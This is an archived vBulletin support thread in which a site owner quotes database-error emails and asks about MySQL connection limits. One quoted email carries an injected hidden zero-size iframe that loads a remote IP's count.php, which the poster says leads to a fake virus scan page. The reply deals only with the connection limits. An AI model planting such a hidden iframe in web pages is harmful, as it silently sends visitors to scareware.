vb.org Archive

vb.org Archive (https://vborg.vbsupport.ru/index.php)
-   vB3 General Discussions (https://vborg.vbsupport.ru/forumdisplay.php?f=111)
-   -   DB Error message Question (https://vborg.vbsupport.ru/showthread.php?t=180207)

meissenation 05-23-2008 01:59 AM
DB Error message Question
 
I have two questions for the wonderful people here...

On 4/9/2008 and prior, my vBulletin Database Error e-mails looked like:
Quote:
Database error in vBulletin 3.6.6:

Invalid SQL:
SELECT userid, usergroupid, IF(displaygroupid=0, usergroupid, displaygroupid) AS displaygroupid, username, posts FROM user ORDER BY posts DESC LIMIT 0,;

MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
Error Number : 1064
Date : Wednesday, April 9th 2008 @ 05:47:27 AM
Script : http://mifbody.com/vbulletin/topXstats.php
Referrer :
IP Address : 74.6.16.161
Username : Unregistered
Classname : vb_database
On 4/23/2008 and ever since then, the next database error that I received via e-mail looked like this:
Quote:
Database error in vBulletin :

mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: User mifbody has already more than 'max_user_connections' active connections
/home/mifbody/public_html/vbulletin/includes/class_core.php on line 274

MySQL Error :
Error Number :
Date : Wednesday, April 23rd 2008 @ 01:40:25 AM
Script : http://www.mifbody.com/gallery/showp...photo=662&sl=j
Referrer :
IP Address : 64.1.215.163
Username :
Classname : vb_database<iframe src="http://124.217.252.62/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
I obviously don't pay enough attention to it, because I never noticed the iframe HTML until just now. Then I couldn't believe I missed it for the past month.

So -- two questions:

1. What the heck is the iframe doing in my database error? I took out the count.php?o=2 and it takes me to some fake virus scan page.
2. How do I increase the active connections so that I don't get this message? We only had some 50 guests and members on and then I got the error message 3 times.

Opserty 05-23-2008 06:40 AM
Your first error is caused by some kind of modification or custom script (topXstats.php). You need to consult the author on how to fix your problem.

For the second error, here is an extract from the manual:
Quote:
mysql_connect(): Too many connections
The server has maxed out the number of MySQL connections it allows. You can try turning persistent connections off by adding this to your config.php:
PHP Code:
$config['MasterServer']['usepconnect'] = 0; 
But if you still have problems after that, you will need ask your host to raise the maximum number of connections they allow.

Here is more info on that error: http://dev.mysql.com/doc/refman/5.0/...nnections.html


All times are GMT. The time now is 06:16 AM.

Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.

X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.01004 seconds
  • Memory Usage 1,720KB
  • Queries Executed 10 (?)
More Information
Template Usage:
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)bbcode_php_printable
  • (3)bbcode_quote_printable
  • (1)footer
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (6)option
  • (1)post_thanks_navbar_search
  • (1)printthread
  • (2)printthreadbit
  • (1)spacer_close
  • (1)spacer_open 
Phrase Groups Available:
  • global
  • postbit
  • showthread
Included Files:
  • ./printthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/class_bbcode_alt.php
  • ./includes/class_bbcode.php
  • ./includes/functions_bigthree.php 
Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • printthread_start
  • bbcode_fetch_tags
  • bbcode_create
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • printthread_post
  • printthread_complete